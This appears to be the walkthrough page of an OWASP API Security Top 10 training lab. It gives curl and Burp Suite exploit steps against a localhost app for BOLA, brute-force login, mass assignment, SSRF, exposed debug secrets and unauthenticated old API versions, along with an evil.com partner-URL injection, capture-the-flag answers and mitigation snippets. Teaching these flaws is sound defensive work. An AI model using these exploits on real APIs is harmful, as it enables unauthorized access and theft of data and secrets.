OWASP API Security Lab
Master the Top 10 API vulnerabilities through hands-on practice. A safe, controlled environment designed for security professionals and developers.
OWASP API Security Top 10 - 2023
owasp.org/API-SecurityBroken Object Level Authorization
BOLA (formerly IDOR) occurs when an API exposes a reference to an internal implementation object (like a database ID) without checking authorization. Attackers can manipulate these IDs to access unauthorized data.
Authenticate as Alice
First, get a valid JWT token by logging in as a regular user.
# Login as Alice and save token
curl -X POST http://localhost:3000/api/v1/auth/login \
-H "Content-Type: application/json" \
-d '{"username":"alice","password":"alice123"}' \
| jq -r '.token' > token.txt
# Store token in variable
export TOKEN=$(cat token.txt)
echo "Token: $TOKEN"
Exploit BOLA
Now, try to access Bob's profile (ID: 2) using Alice's token.
# VULNERABLE! Access Bob's profile (ID:2) with Alice's token
curl http://localhost:3000/api/v1/users/2/profile \
-H "Authorization: Bearer $TOKEN" \
| jq .
# You'll see Bob's sensitive data including the flag!
Capture The Flag
If successful, you'll see Bob's sensitive data and the flag.
GTX{b0la_pr0f1l3_4cc3ss}
Alternative: Using Burp Suite
For those who prefer GUI tools, here's how to exploit BOLA using Burp Suite.
Configure Proxy & Login
Set browser proxy to 127.0.0.1:8080, then login as Alice.
Content-Type: application/json
{"username":"alice","password":"alice123"}
Intercept Profile Request
Navigate to your profile, intercept the request in Burp.
Authorization: Bearer eyJhbGc...
Modify User ID
Change the user ID from 1 to 2 and
forward.
Authorization: Bearer eyJhbGc...
Analyze Response
Check the response - you'll see Bob's data with the flag!
"flag":"GTX{b0la_pr0f1l3_4cc3ss}"}
Mitigation Strategy
Always validate that the authenticated user has permission to access the requested resource ID.
return res.status(403).json({ error: 'Forbidden' });
}
Broken Authentication
Authentication mechanisms are often implemented incorrectly, allowing attackers to compromise authentication tokens or exploit implementation flaws like missing rate limiting.
Brute Force Attack
The login endpoint lacks rate limiting. We can guess passwords rapidly.
# Brute force attack - no rate limiting!
for pass in "123456" "password" "qwerty" "admin"; do
echo "Trying password: $pass"
response=$(curl -s -X POST http://localhost:3000/api/v1/auth/login \
-H "Content-Type: application/json" \
-d "{\"username\":\"weakpass\",\"password\":\"$pass\"}")
if echo "$response" | grep -q "token"; then
echo "✅ Password found: $pass"
echo "$response" | jq .
break
else
echo "❌ Failed: $pass"
fi
done
Capture The Flag
GTX{br00t_f0rc3_succ3ss}
Alternative: Using Burp Suite Intruder
Use Burp Intruder to automate the brute force attack.
Capture Login Request
Intercept a login attempt in Burp Proxy.
Content-Type: application/json
{"username":"weakpass","password":"test"}
Send to Intruder
Right-click → Send to Intruder. Mark the password field as payload position.
Configure Payload
Add common passwords: 123456, password, qwerty, admin
Payloads: 123456, password, qwerty, admin
Start Attack & Find Flag
Look for HTTP 200 response with "token" in body - that's the correct password!
Response: {"token":"eyJhbGc...","flag":"GTX{br00t_f0rc3_succ3ss}"}
Broken Object Property Level Authorization
Also known as Mass Assignment. This occurs when an API endpoint automatically binds client input to internal code variables or objects without filtering, allowing users to update restricted fields.
Authenticate First
Login as Alice to get a valid JWT token.
# Login as Alice and save token
export TOKEN=$(curl -s -X POST http://localhost:3000/api/v1/auth/login \
-H "Content-Type: application/json" \
-d '{"username":"alice","password":"alice123"}' | jq -r '.token')
echo "Token: $TOKEN"
Privilege Escalation
Try to update your profile with restricted fields
like is_admin.
# EXPLOIT: Update profile with restricted fields
curl -X PUT http://localhost:3000/api/v1/users/profile \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"is_admin":true,"account_balance":999999}' | jq .
# Response includes the flag if successful!
Capture The Flag
GTX{m4ss_4ss1gnm3nt_pwn3d}
Alternative: Using Burp Suite Repeater
Use Burp Repeater to manually test mass assignment vulnerability.
Login & Capture Profile Update
Login as Alice, then intercept a profile update request.
Authorization: Bearer eyJhbGc...
Content-Type: application/json
{"name":"Alice Updated"}
Send to Repeater
Right-click → Send to Repeater (Ctrl+R)
Add Restricted Fields
Modify the JSON body to include restricted fields.
"is_admin":true,
"account_balance":999999}
Send & Verify
Click "Send" and check response - you're now admin!
{"id":1,"is_admin":true,
"flag":"GTX{m4ss_4ss1gnm3nt_pwn3d}"}
Unrestricted Resource Consumption
APIs often do not limit the number or size of resources that can be requested by the client/user. This can impact the API server performance, leading to Denial of Service (DoS).
Normal Request
First, observe the normal pagination behavior with default limit.
# Normal request with default pagination
curl http://localhost:3000/api/v1/products | jq .
# Returns ~20 products by default
Exploit: Bypass Pagination Limit
Request an extremely large number of records - no maximum limit is enforced!
# EXPLOIT: Request massive amount of data
curl "http://localhost:3000/api/v1/products?limit=999999" | jq .
# The server accepts ANY limit value - potential DoS!
# Response includes the flag when limit > 1000
Capture The Flag
Response includes the flag when an excessive limit is requested.
GTX{p4g1n4t10n_l1m1t_byp4ss}
Alternative: Using Burp Suite
Use Burp Suite to test pagination limits.
Capture Request
Intercept a products request in Burp Proxy.
Host: localhost:3000
Send to Repeater & Modify Limit
Right-click → Send to Repeater. Change limit to a huge value.
Host: localhost:3000
Send & Find Flag
Click "Send" - response contains the flag!
{"products":[...],"limit":999999,
"flag":"GTX{p4g1n4t10n_l1m1t_byp4ss}"}
Mitigation Strategy
Always enforce maximum limits on pagination and implement rate limiting.
const limit = Math.min(requestedLimit, MAX_LIMIT);
Broken Function Level Authorization
Complex access control policies with different hierarchies, groups, and roles, and an unclear separation between administrative and regular functions, tend to lead to authorization flaws.
Authenticate as Regular User
Login as a regular user (not admin) to get a valid token.
# Login as regular user (alice is NOT an admin)
export TOKEN=$(curl -s -X POST http://localhost:3000/api/v1/auth/login \
-H "Content-Type: application/json" \
-d '{"username":"alice","password":"alice123"}' | jq -r '.token')
echo "Token: $TOKEN"
Access Admin Endpoint
The admin endpoint only checks authentication, not authorization!
# EXPLOIT: Access admin-only endpoint with regular user token
curl http://localhost:3000/api/v1/admin/users \
-H "Authorization: Bearer $TOKEN" \
| jq .
# Regular user can see ALL users including admin data!
# Response includes the flag
Capture The Flag
Non-admin users can access admin functionality!
GTX{4dm1n_4cc3ss_gr4nt3d}
Alternative: Using Burp Suite
Use Burp Suite to access admin endpoints as regular user.
Login as Regular User
Intercept login request for alice (non-admin).
Content-Type: application/json
{"username":"alice","password":"alice123"}
Access Admin Endpoint
Copy the token and access /api/v1/admin/users
Authorization: Bearer eyJhbGc...
Get All Users + Flag
Regular user can access admin data!
{"message":"Admin: All users","users":[...],
"flag":"GTX{4dm1n_4cc3ss_gr4nt3d}"}
Mitigation Strategy
Always verify user roles before allowing access to administrative functions.
return res.status(403).json({ error: 'Admin access required' });
}
Unrestricted Access to Sensitive Business Flows
APIs vulnerable to this risk expose a business flow - such as buying a ticket or posting a comment - without compensating for how the functionality could be automated and abused.
Authenticate First
Login to get a valid JWT token, then check available events.
# Login and save token
export TOKEN=$(curl -s -X POST http://localhost:3000/api/v1/auth/login \
-H "Content-Type: application/json" \
-d '{"username":"alice","password":"alice123"}' | jq -r '.token')
# Check available events
curl http://localhost:3000/api/v1/tickets/events | jq .
Automated Ticket Scalping
No CAPTCHA, no rate limiting - buy all tickets automatically!
# EXPLOIT: Buy 10+ tickets at once (no per-user limit enforced!)
curl -X POST http://localhost:3000/api/v1/tickets/purchase \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"eventId":1,"quantity":10}' \
| jq .
# No CAPTCHA, no rate limiting, no bot detection!
# Flag appears when quantity >= 10
Capture The Flag
Successfully bypassed business flow protections!
GTX{t1ck3t_sc4lp1ng_d3t3ct3d}
Alternative: Using Burp Suite Intruder
Automate ticket scalping attack with Burp Intruder.
Capture Purchase Request
Login first, then intercept a ticket purchase.
Authorization: Bearer eyJhbGc...
Content-Type: application/json
{"eventId":1,"quantity":1}
Modify Quantity
Change quantity to 10 or more in Repeater.
Send & Get Flag
No rate limiting - purchase goes through!
{"message":"Tickets purchased successfully",
"flag":"GTX{t1ck3t_sc4lp1ng_d3t3ct3d}"}
Mitigation Strategy
Implement CAPTCHA, rate limiting, and per-user purchase limits.
const userPurchases = await db.getUserEventPurchases(userId, eventId);
if (userPurchases + quantity > MAX_PER_USER) {
throw new Error('Limit exceeded');
}
Server Side Request Forgery
SSRF flaws occur whenever an API is fetching a remote resource without validating the user-supplied URL. This allows an attacker to coerce the application to send a crafted request to an unexpected destination.
Authenticate First
Login to get a valid JWT token.
# Login and save token
export TOKEN=$(curl -s -X POST http://localhost:3000/api/v1/auth/login \
-H "Content-Type: application/json" \
-d '{"username":"alice","password":"alice123"}' | jq -r '.token')
echo "Token: $TOKEN"
Exploit: Access Internal Services
Point to localhost to access internal debug endpoints!
# EXPLOIT: SSRF to access internal endpoints
curl -X POST http://localhost:3000/api/v1/users/avatar \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"avatarUrl":"http://localhost:3000/api/debug/config"}' \
| jq .
# The server fetches the internal URL and returns the content!
# You can see internal config, JWT secrets, etc.
Capture The Flag
Successfully accessed internal network via SSRF!
GTX{ssrf_1nt3rn4l_4cc3ss}
Alternative: Using Burp Suite
Use Burp Repeater to test SSRF vulnerability.
Login & Capture Avatar Request
Intercept a POST to /api/v1/users/avatar
Authorization: Bearer eyJhbGc...
Content-Type: application/json
{"avatarUrl":"https://example.com/img.jpg"}
Modify to Internal URL
Change URL to access internal services.
View Internal Data + Flag
Server fetches internal URL and returns content!
{"fetchedContent":"{\"jwtSecret\":\"...\"}",
"flag":"GTX{ssrf_1nt3rn4l_4cc3ss}"}
Mitigation Strategy
Validate and whitelist allowed URL schemes and domains. Block internal IPs.
if (blockedHosts.includes(url.hostname)) {
throw new Error('Blocked URL');
}
Security Misconfiguration
APIs and the systems supporting them typically have complex configurations, meant to make the APIs more customizable. Security misconfiguration is commonly a result of unsecure default configurations.
Discover Debug Endpoints
Try common debug and admin paths that are often left enabled.
# Try common debug endpoints
curl http://localhost:3000/api/debug/config | jq .
curl http://localhost:3000/api/debug/health | jq .
# These endpoints are accessible without authentication!
Extract Sensitive Information
The debug endpoint exposes JWT secrets and other sensitive config!
# CRITICAL: Debug config exposes secrets!
curl http://localhost:3000/api/debug/config | jq .
# Response includes:
# - jwtSecret: The JWT signing key!
# - Database path
# - Internal configuration
# - Flag for finding this misconfiguration
Capture The Flag
Found exposed debug endpoint with sensitive data!
GTX{d3bug_3ndp01nt_3xp0s3d}
Alternative: Using Burp Suite
Use Burp Suite to discover debug endpoints.
Enumerate Endpoints
Try common debug paths in Repeater.
Host: localhost:3000
View Exposed Secrets
Debug endpoint returns sensitive config!
{"jwtSecret":"super_secret_key",
"databasePath":"./data/lab.db",
"flag":"GTX{d3bug_3ndp01nt_3xp0s3d}"}
Mitigation Strategy
Disable debug endpoints in production. Never expose secrets in responses.
// Debug routes disabled in production
} else {
app.use('/api/debug', debugRoutes);
}
Improper Inventory Management
APIs tend to expose more endpoints than traditional web applications, making proper and updated documentation highly important. Improper inventory management leads to blind spots like old API versions.
Check Current API Version
The documented API is v1, but are there older versions?
# Check API documentation
curl http://localhost:3000/api/docs | jq .
# Current version is v1, but let's check for older versions...
Discover Deprecated API v0
Old API versions often have weaker security controls!
# EXPLOIT: Try older API version (v0)
curl http://localhost:3000/api/v0/admin/users | jq .
# Old v0 API has NO authentication required!
# Returns all users including admin credentials
# Includes the flag for discovering this
Capture The Flag
Found deprecated API version with no authentication!
GTX{0ld_v3rs10n_vuln3r4bl3}
Alternative: Using Burp Suite
Use Burp Suite to discover deprecated API versions.
Try Different API Versions
Enumerate version paths: v0, v1, v2, beta, etc.
Host: localhost:3000
Access Without Auth
Old v0 API has no authentication!
{"message":"Deprecated API v0",
"users":[{"username":"admin"...}],
"flag":"GTX{0ld_v3rs10n_vuln3r4bl3}"}
Mitigation Strategy
Maintain API inventory, deprecate old versions, and remove from production.
if (process.env.NODE_ENV === 'production') {
app.use('/api/v2', v2Router); // Only v2
}
Unsafe Consumption of APIs
Developers tend to trust data received from third-party APIs more than user input. This is especially true for APIs offered by well-known companies.
Identify Integration Endpoint
The API syncs data from "trusted" third-party partners.
# Normal partner sync with trusted URL
curl -X POST http://localhost:3000/api/v1/integrations/sync \
-H "Content-Type: application/json" \
-d '{"partnerUrl":"https://partner.example.com/api"}' \
| jq .
Inject Malicious Partner URL
The API blindly trusts ANY URL claiming to be a partner!
# EXPLOIT: Inject malicious partner URL
curl -X POST http://localhost:3000/api/v1/integrations/sync \
-H "Content-Type: application/json" \
-d '{"partnerUrl":"https://evil.com/malicious-payload"}' \
| jq .
# Also works with:
# - "attacker.com"
# - "malicious-site.com"
# Server trusts data from ANY "partner" without validation!
Capture The Flag
Successfully exploited unsafe API consumption!
GTX{uns4f3_4p1_c0nsum3}
Alternative: Using Burp Suite
Use Burp Suite to test unsafe API consumption.
Capture Integration Request
Intercept POST to /api/v1/integrations/sync
Content-Type: application/json
{"partnerUrl":"https://partner.example.com"}
Inject Malicious URL
Replace with attacker-controlled domain.
Server Trusts Malicious Data
No validation - flag returned!
{"status":"synced","source":"https://evil.com/payload",
"flag":"GTX{uns4f3_4p1_c0nsum3}"}
Mitigation Strategy
Validate and sanitize all data from third-party APIs. Whitelist allowed partners.
const url = new URL(partnerUrl);
if (!allowedPartners.includes(url.hostname)) {
throw new Error('Unknown partner');
}